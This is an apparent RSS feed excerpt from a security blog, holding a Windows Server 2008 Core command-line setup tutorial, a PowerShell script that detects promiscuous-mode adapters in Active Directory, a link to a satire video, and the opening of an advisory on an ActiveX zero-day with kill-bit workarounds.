		<description><![CDATA[One of my favorite websites in the days of Windows 2000 Server was a project from a group of system managers from the Department of Electrical Engineering at the Swiss Federal Institute of Technology; it was titled “Real Men Don&#8217;t Click”, and it was dedicated to accomplishing tasks solely using the command line interface (CLI). [...]]]></description>
			<content:encoded><![CDATA[<p>One of my favorite websites in the days of Windows 2000 Server was a project from a group of system managers from the Department of Electrical Engineering at the Swiss Federal Institute of Technology; it was titled “Real Men Don&#8217;t Click”, and it was dedicated to accomplishing tasks solely using the command line interface (CLI). I was glad to see I wasn&#8217;t the only CLI fan in the Windows world who wasn&#8217;t inherently a former UNIX guy. Well, discounting the fact our friends at SFIT were inherently UNIX guys, they were very fair in their presentation of how to get around in the CLI.</p>

<p>This article is not just for the CLI fans like me, who snicker when forced to grab at the mouse for tasks they much prefer taking on in that wonderful black box with the blinking cursor; but for anyone who will deploy a core installation of Windows. This is not an anti-GUI rant, but a look into the CLI, and one that is much needed after Microsoft released Windows 2008 Server Core Edition.</p>

<p>Microsoft started to return CLI tools back to administrators in Windows 2000 when they released <code>netsh.exe</code>. More and more CLI options surfaced with releases of Support Tools, Resource Kits, and the popular PS suite from SysInternals (now Microsoft). The most recent evidence of the resurgence of the CLI is Windows 2008 Server Core Edition. This version is entirely driven with the command line interface.</p>

<p>The following roles are supported in a core installation:</p>

<ul>
    <li>Active Directory Certificate Services</li>
    <li>Active Directory Domain Services</li>
    <li>Active Directory Lightweight Directory Services (AD LDS)</li>
    <li>DHCP Server</li>
    <li>DNS Server</li>
    <li>File Services (including File Server Resource Manager)</li>
    <li>Hyper-V</li>
    <li>Print and Document Services</li>
    <li>Web Server (including a subset of ASP.NET)</li>
</ul>

<p>Why choose core over a standard installation? A core setup will only install the binaries needed by the server roles. Microsoft claims that if Windows 2000 Server had a core edition, it would have had a <strong>60% reduction</strong> in patches (40% in Windows 2003). This is a considerable amount of patches for critical servers such as domain controllers.</p>

<p>So let’s get started with some administration tasks in Windows 2008 Server Core Edition: getting things up and running, configuring roles, promoting to a domain controller, and essentially running a version of Microsoft&#8217;s OS that does not include explorer.exe. (What? No Desktop?)</p>

<p>The following commands were executed on an installation of Microsoft Windows 2008 Server Core Standard R2. For those who don&#8217;t have the time to muck with the CLI, R2 has included a new VBScript (<strong>sconfig.vbs</strong>) which provides a menu driven server configuration tool to quickly get through these steps. However, I recommend doing it the long way at least once to understand what&#8217;s happening in case you run into issues in the future. The install is straightforward, so details not needed. Most important is the option of which version of the OS to install, which I selected Windows 2008 R2 Standard (Server Core Installation). After a dialog to set the administrator password, I&#8217;m left with a DOS prompt.</p>

<p><strong><span style="text-decoration: underline;">GETTING STARTED</span></strong></p>

<p>First things first, IP connectivity. I&#8217;ll be using 192.168.1.0/24 for the network:</p>

<p><em><span style="font-size: xx-small;">Note: netsh.exe allows you to add all the options/parameters in one line, or you can run netsh.exe and go into each configuration category, (ie. interface), then eventually when deep enough into the options, execute the command, (ie. set). To keep it simple, I&#8217;ll write out the commands in single lines, but definitely run netsh.exe with no options and look into the many configuration areas available.</span></em></p>

<p>Let’s list available network interfaces to see which one we need to configure:</p>

<pre><code>netsh interface ipv4 show interfaces
</code></pre>

<p>Result:
<pre><code>
  Idx     Met        MTU           State                Name
  &ndash;--  ----------  ----------  ------------  ---------------------------
    3           5        1500  connected     Local Area Connection
    1          50  4294967295  connected     Loopback Pseudo-Interface 1
</code></pre>
Now, Local Area Connection is what I’m interested in, which Idx=3. Let&#8217;s set an IP to that interface:</p>

<pre><code>netsh int ipv4 set address name=3 source=static address=192.168.1.25 mask=255.255.255.0 gateway=192.168.1.1
</code></pre>

<p>Note the name=3 parameter; 3 was the IDX number retrieved in the previous step. You will not get a resulting output, but you can double check your settings by running <strong>ipconfig /all</strong>.</p>

<p>Next step is to add DNS servers for name resolution. If this will be the first Domain Controller in the Forest and will run DNS, you can skip this, otherwise, add your DNS servers now (the example assumes DNS servers 192.168.1.20 and 192.168.1.21):</p>

<pre><code>netsh interface ipv4 add dnsserver name=3 address=192.168.1.20 index=1
</code></pre>

<p>add a secondary dns server:</p>

<pre><code>netsh interface ipv4 add dnsserver name=3 address=192.168.1.21 index=2
</code></pre>

<p>Note that we used the name=3 parameter again to add these DNS entries to the network interface we are interested in. Once again, you can double check your settings with <strong>ipconfig /all</strong>.</p>

<p>Now we have connectivity. Let&#8217;s rename the computer and join a domain. Windows had assigned a random computer name, you can see what it is by typing <strong>hostname</strong>. Mine happened to be WIN-EPNB8G5FAUI. Let&#8217;s rename this to CORE-DEV:</p>

<pre><code>netdom renamecomputer %COMPUTERNAME% /NewName:CORE:DEV
</code></pre>

<p>You will be warned about the potential hazards of renaming the computer, not our concern since this is a brand new installation. Proceed, and you will have the following results:</p>

<pre><code>The computer needs to be restarted in order to complete the operation.

The command completed successfully.
</code></pre>

<p>Restart the computer by typing: <strong>shutdown /r /t 001</strong></p>

<p>After restarting, log back in, and let&#8217;s join a domain. Our test domain is called testdom.local. We will use an account called admin to join the domain:</p>

<pre><code>netdom join CORE-DEV /domain:testdom.local /userd:testdom\admin /passwordd:*
</code></pre>

<p align="left">The * for the password option will prompt you for the password. A reboot is again required.</p>

<p>Now you can log in with a domain account by choosing other user, then typing domain\user for the user.</p>

<p><strong><span style="text-decoration: underline;">ACTIVATION</span></strong></p>

<p>Now, let&#8217;s activate Windows. In R2, you enter the license key with slmgr.vbs (prior to R2, the installation setup prompted for the license key).</p>

<pre><code>slmgr.vbs –ipk ABCDE-FGHIJ-KLMNO-PQRST-UVWXY
</code></pre>

<p>Next, activate:</p>

<pre><code>slmgr.vbs -ato
</code></pre>

<p>If successful, you will not receive any messages back.</p>

<p><strong>
<span style="text-decoration: underline;">CONFIGURING AUTOMATIC UPDATES</span></strong></p>

<p>I recommend controlling the behavior of automatic updates with Group Policy, but if you need to toggle the settings, here are the commands:</p>

<p>To verify the current setting:</p>

<pre><code>cscript scregedit.wsf /AU /v
</code></pre>

<p>To enable automatic updates:</p>

<pre><code>cscript scregedit.wsf /AU 4
</code></pre>

<p>To disable automatic updates:</p>

<pre><code>cscript scregedit.wsf /AU 1
</code></pre>

<p>To check for updates:</p>

<pre><code>wuauclt /detectnow
</code></pre>

<p><strong><span style="text-decoration: underline;">
FIREWALL</span></strong></p>

<p>Let&#8217;s take a look at the firewall now, since we will want to open up some rules to perform remote administrations tasks, such as using Remote Desktop or MMC tools to manage the server.</p>

<p>We can take a look at the firewall profiles by typing:</p>

<pre><code>netsh advfirewall show allprofiles
</code></pre>

<p>If you have a domain profile applied via GPO, then those will apply. You can also look at all the rules by typing:</p>

<pre><code>netsh advfirewall firewall show rule name=all
</code></pre>

<p>That command will display quite a bit of information. I like to output it to a text file and view it with notepad.</p>

<p>Now, let&#8217;s make some changes to allow remote connections to the server. Here, I don&#8217;t exactly follow the steps documented in Technet or most web sources since the commands documented will open up the ports and allow any source address. Here, we open Remote Desktop (TCP-3389) only to our subnet.</p>

<pre><code>netsh advfirewall firewall set rule name="Remote Desktop (TCP-In)" new remoteip=192.168.1.0/24
</code></pre>

<p>This changes the firewall RDP rule to allow our subnet only. The default rule is Any. Now, let&#8217;s go ahead and enable this rule:</p>

<pre><code>netsh advfirewall firewall set rule name="Remote Desktop (TCP-In)" new enable=yes
</code></pre>

<p>The firewall is now open for RDP connections from our internal subnet, but we still have to enable Remote Desktop:</p>

<pre><code>cscript %windir%\system32\SCRegEdit.wsf /ar 0
</code></pre>

<p>Now you could Remote Desktop to the server. Of course you will only get a command prompt when you do.</p>

<p>Next, we’ll open up some rules to allow remote management using the MMC. This will allow using Computer Management, Shared Folders, Event Viewer, and other important snap-ins to manage your server. The process is the same as it was opening the Remote Desktop rule, but the rule names are different:</p>

<pre><code>netsh advfirewall firewall set rule name="Remote Administration (NP-In)" new remoteip=192.168.1.0/24
netsh advfirewall firewall set rule name="Remote Administration (NP-In)" new enable=yes
netsh advfirewall firewall set rule name="Remote Administration (RPC)" new remoteip=192.168.1.0/24
netsh advfirewall firewall set rule name="Remote Administration (RPC)" new enable=yes
netsh advfirewall firewall set rule name="Remote Administration (RPC-EPMAP)" new remoteip=192.168.1.0/24
netsh advfirewall firewall set rule name="Remote Administration (RPC-EPMAP)" new enable=yes
</code></pre>

<p>These three rules are in a group called “Remote Administration” and if you are not concerned about modifying the rules so that only the specific subnet is allowed, you can modify enable the group as-is which will allow connections from any IP:</p>

<pre><code>netsh advfirewall firewall set rule group="Remote Administration" new enable=yes
</code></pre>

<p><strong>
<span style="text-decoration: underline;">CONFIGURING ROLES</span></strong></p>

<p>There are two commands to use when dealing with server roles: <strong>oclist</strong> and <strong>ocsetup</strong>. Later, we will look at the new <strong>dism.exe</strong> If you type oclist, you will get a list of all the roles and their optional components. The list is pretty lengthy, so I like to use the <strong>find</strong> command to narrow my results. For example, if we wanted to add the DHCP server role, I would check for the precise name of the role by typing:</p>

<pre><code>oclist | find /i "dhcp"
</code></pre>

<p>Results:</p>

<pre><code>Not Installed: DHCPServerCore
</code></pre>

<p>Now I know the role name is specifically DHCPServerCore and that it is in fact not installed. So, we install the role by typing:</p>

<pre><code>ocsetup DHCPServerCore
</code></pre>

<p>Note that the above server role IS case sensitive. If I use oclist again to check for DHCP, I now see the following:</p>

<pre><code>oclist | find /i "dhcp"
</code></pre>

<p>Results:</p>

<pre><code>Installed: DHCPServerCore
</code></pre>

<p>If I wanted to remove the role, I&#8217;d use the uninstall switch with ocsetup:</p>

<pre><code>ocsetup DHCPServerCore /uninstall
</code></pre>

<p>Pretty straight forward. Now, with R2, there is a new CLI tool called <strong>dism.exe</strong>. This tool can also configure server roles, but it does much more. For now, we will use it to configure roles like we did with ocsetup/oclist.</p>

<p>To get a list of roles (called features in dism):</p>

<pre><code>dism /online /get-features
</code></pre>

<p>Let&#8217;s add that DHCPServerCore feature using dism:</p>

<pre><code>dism /online /enable-feature /featurename:DHCPServerCore
</code></pre>

<p>And then to remove it:</p>

<pre><code>dism /online /disable-feature /featurename:DHCPServerCore
</code></pre>

<p>So, what is the big deal? Same results as ocsetup, but, dism will replace it because it goes further than just toggling features. It will service WIM and VHD image files, allowing add/remove of drivers and features, especially useful if your server has the role of deploying images or runs Hyper-V.</p>

<p><strong><span style="text-decoration: underline;">PROMOTING TO A DC</span></strong></p>

<p><code>dcpromo</code> is still the way to handle promoting and demoting domain controllers, but in a Server Core installation, there is no GUI wizard that comes along with it. Instead, you use an answer file with the command to instruct how to promote your DC. The syntax to this is:</p>

<pre><code>dcpromo /unattend:c:\temp\answerfile.ini
</code></pre>

<p>I like to use ini for my answer file extension, but that&#8217;s a personal preference. Here are two examples of answer files to us with dcpromo:</p>

<p>To create the very first DC in a Forest:
<pre><code>[DCInstall]
ReplicaOrNewDomain=Domain
Installdns=Yes
confirmgc=yes
domainlevel=4
domainnetbiosname=TESTDOM
forestlevel=4
newdomain=forest
newdomaindnsname=testdom.local
safemodeadminpassword=password123
</code></pre>
Note that the forest level and domain level are set to 4. This option is for R2 only as it is the R2 functional level. For 2008 non-R2, this value needs to be 3 instead.</p>

<p>To add a replica domain controller in an existing domain:
<pre><code>[DCInstall]
ReplicaOrNewDomain=Replica
ReplicaDomainDNSName=testdom.int
Installdns=Yes
confirmgc=yes
safemodeadminpassword=password123
</code></pre>
There are quite a few configurable options to put in an answer file. You can check the help by typing: <strong>dcpromo /?:promotion</strong></p>

<p><strong><span style="text-decoration: underline;">MORE IN THE CLI</span></strong></p>

<p>Now you have a fully functioning server, are able to manage it with your MMC, and can connect via Remote Desktop. Although there are hundreds of commands you can use in the CLI, one that can do an enormous amount of tasks is <strong>wmic.exe</strong>. WMIC<strong> </strong>is a tool with hundreds of options for WMI. You can do just about anything here. A few examples:</p>

<pre><code>wmic useraccount list
wmic process list
wmic share list
</code></pre>

<p>The above examples are all very simple queries for information. You can also use wmic to add and modify (ie. not just list shares, but create or change them). To see a full list of options: <strong>wmic /?</strong></p>

<p><strong></p>

<p></strong></p>

<p><span style="text-decoration: underline;"><strong>POWERSHELL</strong></span></p>

<p>Powershell is now included with R2 and you can enable it just like any other feature. Powershell provides a shell and scripting language which will open up a world of options for administrating your Windows environment. What gives this shell its power is that it accepts and returns .NET objects. Instead of getting stdout, you can get an object and then perform actions with that object or get its properties. With a couple of lines of script code, you can pull all users from an OU and set their description field, or check when the passwords were last set. That is just one simple example working with objects using the DirectoryServices interface, and there are many others.</p>

<p><span style="text-decoration: underline;"><strong>CONCLUSION</strong></span></p>

<p>It is nice to see that the command line has made a return in the Windows world. If you’re unlike me, who typically has five or six command prompts open during a regular day, don’t be intimidated by it. Server Core can be a lean, secure, and well-managed option in your environment. It may take a little time getting used to not reaching for the mouse and clicking on the start button, but at the end of the day you will have that extra bit of satisfaction knowing exactly what occurred without a GUI keeping the details behind the scenes.</p>

<hr />

<p>References:</p>

<ul>
<li>Real Men Don&#8217;t Click&#8211;The Project: <a href="http://isg.ee.ethz.ch/tools/realmen/">http://isg.ee.ethz.ch/tools/realmen/</a></li>
<li>Server Core Installation: <a href="http://technet.microsoft.com/en-us/library/cc753802(WS.10).aspx">http://technet.microsoft.com/en-us/library/cc753802(WS.10).aspx</a></li>
<li>Using DISM: <a href="http://www.windowsnetworking.com/articles_tutorials/Deploying-Windows-7-Part2.html">http://www.windowsnetworking.com/articles_tutorials/Deploying-Windows-7-Part2.html</a></li>
<li>DISM Command Line Options: <a href="http://technet.microsoft.com/en-us/library/dd772580(WS.10).aspx">http://technet.microsoft.com/en-us/library/dd772580(WS.10).aspx</a></li>
<li>WMIC: <a href="http://technet.microsoft.com/en-us/library/bb742610.aspx">http://technet.microsoft.com/en-us/library/bb742610.aspx</a></li>
<li>Powershell: <a href="http://www.microsoft.com/windowsserver2003/technologies/management/powershell/default.mspx">http://www.microsoft.com/windowsserver2003/technologies/management/powershell/default.mspx</a></li>
<li>Windows 2008 Command Line List (A-Z): <a href=http://technet.microsoft.com/en-us/library/cc772390(WS.10).aspx>http://technet.microsoft.com/en-us/library/cc772390(WS.10).aspx</a>
</span></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/09/2008-server-to-the-core/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Who’s Being Promiscuous in Your Active Directory?</title>
		<link>http://praetorianprefect.com/archives/2009/09/whos-being-promiscuous-in-your-active-directory/</link>
		<comments>http://praetorianprefect.com/archives/2009/09/whos-being-promiscuous-in-your-active-directory/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 00:18:50 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[active directory]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[WMI]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=719</guid>
		<description><![CDATA[I’m always a fan of more queries and peaks at what is going on in my AD domain, especially at what is happening on the workstations. I was working on some WMI queries to get information about network interfaces using the Win32_NetworkAdapterConfiguration class, and thought about promqry.exe. Promqry is a tool provided by Microsoft to [...]]]></description>
			<content:encoded><![CDATA[<p>I’m always a fan of more queries and peaks at what is going on in my AD domain, especially at what is happening on the workstations. I was working on some WMI queries to get information about network interfaces using the Win32_NetworkAdapterConfiguration class, and thought about promqry.exe. <a href="http://support.microsoft.com/kb/892853" target="_blank">Promqry</a> is a tool provided by Microsoft to query a computer’s network interfaces and return if it is running in promiscuous mode.</p>

<p>This information can be handy for several reasons:</p>

<ul>
    <li>An interface running in promiscuous mode may be due to the user running network sniffer such as Wireshark.</li>
    <li>An interface running in promiscuous mode may be due to the user running virtualization software, such as Virtual PC.</li>
    <li>An interface running in promiscuous mode may be due to malicious code.</li>
</ul>

<p>I definitely want to know if users are running network sniffers, or virtualization software (likely the guests are not licensed or managed causing rogue workstations in the environment). Of course any potential activity that may be caused by malware or malicious code is a concern as well.</p>

<p>You could very easily download promqry and run a <em>for</em> loop against your machines. I wanted to use WMI for this task instead and rather than a text file, use the directoryservices object to query my AD for computers.</p>

<p>I couldn’t find any property in Win32_NetworkAdapterConfiguration to check for this, but I found <a href="http://windowsir.blogspot.com/2005/02/promqry-revisited.html" target="_blank">this post</a> on promqry which tracked down the WMI classes it uses. That led me in the right direction. The other key to this is what MSNdis_CurrentPacketFilter returns. Microsoft documents this <a href="http://msdn.microsoft.com/en-us/library/bb648512.aspx" target="_blank">here</a> and we are checking if the NDIS_PACKET_TYPE_PROMISCUOUS bit is enabled.</p>

<p>Below is a quick Powershell script which will grab computer objects from AD, then use WMI and the MSNdis_CurrentPacketFilter class to check for promiscuous mode. You can incorporate this WMI query with Win32_NetworkAdapterConfiguration and get a better picture of the interface network settings:
<pre><code>
$ErrorActionPreference = "SilentlyContinue"</p>

<p>$PingTest = New-Object System.Net.NetworkInformation.Ping
$Filter = "(&amp;(ObjectCategory=computer))"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($Filter)
ForEach ($comp in $Searcher.Findall()) {
    $strComputer = $comp.properties.item("Name")
    write-host "Checking: $strComputer"
    if ($PingTest.Send($strComputer).Status -eq "Success") {
        $colComputer = get-wmiObject -class "MSNdis_CurrentPacketFilter" -namespace "root\WMI" -comp $strComputer
        if ($colComputer -eq $null) {
            write-host "Couldn't connect to WMI" }
        else {
            foreach ($comp in $colcomputer) {
                $val = $comp.NdisCurrentPacketFilter
                if ($val -band 0x00000020) {
                    $inst = $comp.InstanceName
                    write-host "Interface: $inst"
                    write-host "The NDIS_PACKET_TYPE_PROMISCUOUS value is set" -foregroundcolor red -backgroundcolor yellow
                }
            }
        }
    }
    else { write-host "Could not ping, machine not queried." }
}</p>

<p></code></pre>
 </p>

<p>The following screenshot shows the results. I don’t like waiting for RPC to time out when the machine is off or not reachable, so a quick ping check before querying WMI speeds things up. Also, when an interface has the bit set, the output is highlighted with red text and a yellow foreground. You could wrap an email function and schedule this so that you are alerted when it comes up.</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/ScreenHunter_06Oct.0120.51.gif"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="ScreenHunter_06 Oct. 01 20.51" src="http://praetorianprefect.com/wp-content/uploads/2009/10/ScreenHunter_06Oct.0120.51_thumb.gif" border="0" alt="ScreenHunter_06 Oct. 01 20.51" width="244" height="173" /></a></p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p>You will need proper access to the workstations to query root\WMI so when you run this in a domain, your account should have local administrator privileges to the computers it will query. If it doesn’t, the command will return “Couldn’t connect to WMI”.</p>

<p>Finally, if you haven’t looked at the MSNdis class yet, I suggest taking a look, especially at MSNdis_80211 which will query various wireless information that may be of interest. There isn’t a whole lot of documentation on it, so I’ll work on getting some details together and maybe draft a Powershell script to find wireless adapters and networks they are connected to or available networks close enough to connect to. Until then, enjoy finding those promiscuous mode adapters in your domain.</p>

<p> </p>

<p><a title="http://windowsir.blogspot.com/2005/02/promqry-revisited.html" href="http://windowsir.blogspot.com/2005/02/promqry-revisited.html"> </a></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/09/whos-being-promiscuous-in-your-active-directory/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Why former criminals aren&#8217;t always the best experts</title>
		<link>http://praetorianprefect.com/archives/2009/08/why-former-criminals-arent-always-the-best-experts/</link>
		<comments>http://praetorianprefect.com/archives/2009/08/why-former-criminals-arent-always-the-best-experts/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 01:30:53 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[security conference]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=629</guid>
		<description><![CDATA[The Onion reminds us why former criminals don&#8217;t always make the best &#8220;experts&#8221;.  I hope information security conference organizers are watching.

Bear with the Onion&#8217;s silly advertising in the beginning.

Ex-Pedophile Shares Tips On How To Make Your Kids Less Attractive

Related Posts:

iPhone 4 Ordering and Session Switching
May&#8217;s Patch Tuesday
March&#8217;s Patch Tuesday
Press F1 for Help, pwned.
First Patch [...]]]></description>
			<content:encoded><![CDATA[<p>The Onion reminds us why former criminals don&#8217;t always make the best &#8220;experts&#8221;.  I hope information security conference organizers are watching.</p>

<p><em>Bear with the Onion&#8217;s silly advertising in the beginning.</em></p>

<p><object width="480" height="430"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://www.theonion.com/content/themes/common/assets/onn_embed/embedded_player.swf?image=http%3A%2F%2Fwww.theonion.com%2Fcontent%2Ffiles%2Fimages%2FEX-PEDOPHILE_article.jpg&#038;videoid=97182&#038;title=Ex-Pedophile%20Shares%20Tips%20On%20How%20To%20Make%20Your%20Kids%20Less%20Attractive" /><param name="wmode" value="transparent" /><embed src="http://www.theonion.com/content/themes/common/assets/onn_embed/embedded_player.swf"type="application/x-shockwave-flash" allowScriptAccess="always" allowFullScreen="true" wmode="transparent" width="480" height="430"flashvars="image=http%3A%2F%2Fwww.theonion.com%2Fcontent%2Ffiles%2Fimages%2FEX-PEDOPHILE_article.jpg&#038;videoid=97182&#038;title=Ex-Pedophile%20Shares%20Tips%20On%20How%20To%20Make%20Your%20Kids%20Less%20Attractive"></embed></object><br /><a href="http://www.theonion.com/content/video/ex_pedophile_shares_tips_on_how?utm_source=videoembed">Ex-Pedophile Shares Tips On How To Make Your Kids Less Attractive</a></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/08/why-former-criminals-arent-always-the-best-experts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Video ActiveX Control Vulnerability</title>
		<link>http://praetorianprefect.com/archives/2009/07/microsoft-video-activex-control-vulnerability/</link>
		<comments>http://praetorianprefect.com/archives/2009/07/microsoft-video-activex-control-vulnerability/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 06:04:23 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=319</guid>
		<description><![CDATA[Microsoft is recommending setting the kill bit for an ActiveX control object, MPEG2TuneRequest, to avoid an in the wild zero day exploit that allows for remote code execution when a web site containing the exploit is browsed by a user with Internet Explorer.]]></description>
			<content:encoded><![CDATA[<p>Microsoft is recommending setting the kill bit for an ActiveX control object, MPEG2TuneRequest, to avoid an in the wild zero day exploit that allows for remote code execution when a web site containing the exploit is browsed by a user with Internet Explorer.  No user interaction is required for the exploit to be successful once a web site hosting the vulnerability is accessed in the Internet Explorer web browser, and any resultant exploit code is run with the same rights as the local user (so a user running as admin would result in exploit code being run in an admin context for example).  This control is reported by Microsoft as having no legitimate use by IE, and thus there is no reason to wait for a Microsoft patch to disable it.</p>

<h4>Background</h4>

<p>The news hit the web at large on July 6th when Microsoft released advisory <a href="http://www.microsoft.com/technet/security/advisory/972890.mspx">972890</a>. IBM ISS is reporting a first known exploit however on June 11th.  The vulnerability, first reported by researchers Alex Wheeler and Ryan Smith (ISS employees at the time) was first reported to Microsoft in 2008, which has sparked criticism from at least one reporter covering the IT marketplace: <a href="http://www.eweek.com/c/a/Security/Was-Microsoft-Slow-to-Patch-Video-ActiveX-Vulnerability-130458/?kc=rss">eWeek’s Brian Prince</a>.  The problem would have been available since IE version 6, SP1.</p>

<h4>Exploit Details</h4>

<p>The exploit is <a href="http://blogs.technet.com/srd/archive/2009/07/06/new-vulnerability-in-mpeg2tunerequest-activex-control-object-in-msvidctl-dll.aspx">described</a> by MSRC Engineer Chengyun Chu as a “browse and get owned attack vector”.  Once the user navigates to a web site purposely hosting the exploit, or a web site that has been compromised to host the exploit, no further user interaction is required. Examples in the wild (approximately 967 Chinese web sites <a href="http://blog.trendmicro.com/zero-day-microsoft-directshow-mpeg2tunerequest-exploit-leads-to-killav-malware/">according</a> to Trend Micro) are reporting having used both .gif and .jpg files containing the exploit.  The Trend Micro found web sites that redirect the users multiple times, eventually loading a .jpg file with the exploit, which upon being successful loads malware called WORM_KILLAV.AI. This malware, as it is named, terminates antivirus software processes and loads additional malicious code.</p>

<p>The exploit is based on an overflow condition that is created in the msvidctl.dll library when a crafted file is provided as input, causing a handler to be overwritten which then points to the exploit’s shell code, already loaded in the memory heap via <a href="http://en.wikipedia.org/wiki/Heap_spraying">heap spraying</a>. The object that accepts the crafted input, BDATuner.MPEG2TuneRequest.1, is associated with CLSID 0955AC62-BF2E-4CBA-A2B9-A63F772D46CF, and thus this is the primary CLSID for which a kill bit needs to be set. Microsoft however recommends setting the kill bit for all of the ActiveX Control Objects hosted by msvidctl.dll.</p>

<p>As security vendors such as Symantec, ISS, and others are aware of the problem, antivirus and IDS signatures are either available or forthcoming.</p>

<h4>Work Around Details</h4>

<p>Microsoft provides an automated <a href="http://go.microsoft.com/?linkid=9672398">Fix it</a> which entails disabling attempts to instantiate a COM object in Internet Explorer by setting the kill bit for the control in the registry. This involves adding a DWORD value to 45 keys in the registry representing Class Identifiers that relate to Microsoft Video ActiveX Control. More information can be found in the [security advisory] (href=&#8221;http://www.microsoft.com/technet/security/advisory/972890.mspx).</p>

<p>To implement the workaround on a single computer, you can manually enter the DWORD value 1024 (0&#215;00000400) for each of the 45 class IDs or launch this <a href="http://praetorianprefect.com/wp-content/uploads/2009/07/kb972890.txt">reg file</a> with the values.</p>

<p>For an enterprise environment, you have two options to deploy this workaround to your workstations. First, through the use of a computer startup script, you can add the execution of a <a href="http://praetorianprefect.com/wp-content/uploads/2009/07/kb972890.txt">reg file</a> with the values for computers to launch at startup. The second option is to add a custom ADM file to a group policy object which is applied to your workstations. Which option to choose depends on preference and your environment.</p>

<h4>Computer Start-up Script</h4>

<p>You may already have a group policy which has a computer startup script enabled. Add a line which executes this <a href="http://praetorianprefect.com/wp-content/uploads/2009/07/kb972890.txt">reg file</a>. Computer startup script is suggested as the user side startup script runs in the user&#8217;s context, and they may not have permission to modify the keys necessary. You can find more information on configuring computer startup scripts <a href="http://technet.microsoft.com/en-us/library/cc779329(WS.10).aspx">here</a>.</p>

<h4> Custom ADM File in Group Policy</h4>

<p>The challenge with an ADM file for this particular workaround is that each class ID which needs to be modified is designated as a separate key in the registry rather than a value. So, instead of being able to create a single configuration entry in a group policy object which would modify every value, you have to have an option for each key. Fortunately, the leg work has been done in this <a href="http://praetorianprefect.com/wp-content/uploads/2009/07/kb972890.adm">example custom ADM file</a>, which you can cut and paste into a larger file you may already have.</p>

<p>Save the file where your GPO editor can browse to it. In Computer Configuration, Administrative Templates, right click and select Add/Remove templates. Once you add the template, you&#8217;ll have to ensure your filtering is setup to see &#8220;unmanaged&#8221; group policies, which are basically custom ADM entries which tattoo the registry. Under filtering, in your GPO editor, uncheck the option as shown:</p>

<p><div id="attachment_374" class="wp-caption alignnone" style="width: 393px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/07/gpedit23.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/07/gpedit23.jpg" alt="gpedit" title="gpedit23" width="383" height="370" class="size-full wp-image-374" /></a><p class="wp-caption-text">gpedit</p></div><br /></p>

<p>Once the ADM is added, and the filter option is cleared, you will see the configuration entries for the Microsoft Video ActiveX kill bit. Set them all to Enabled as shown:</p>

